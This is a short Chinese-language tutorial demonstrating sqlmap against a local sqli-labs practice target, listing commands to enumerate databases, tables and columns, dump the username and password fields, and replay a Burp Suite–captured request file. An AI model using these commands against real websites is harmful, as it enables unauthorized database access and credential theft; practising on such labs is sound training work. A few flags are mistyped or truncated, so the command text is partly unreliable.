用sql注入靶场进行演示
打开sqlmap (python sqlmap.py)
爆数据库 (python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 -current-db)
爆所有表 (python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 --tables)
爆指定数据库的表 (python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 --tables -D security)
爆列 (python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 --columns -T users -D security)
爆字段 (python sqlmap.py -u 127.0.0.1:8080/sqlilabs/Less-1/?id=1 -C"username,password" --dump -T users -D security)
Sqlmap跑post数据包的方式:在参数中加上 --dat
万能用法(跑数据包,burpsuite与sqlmap的联动);
抓包后ctrl A 右键选择copy to file将其保存为1.txt文件
输入命令python sqlmap.py -r 将文件拖进来就行了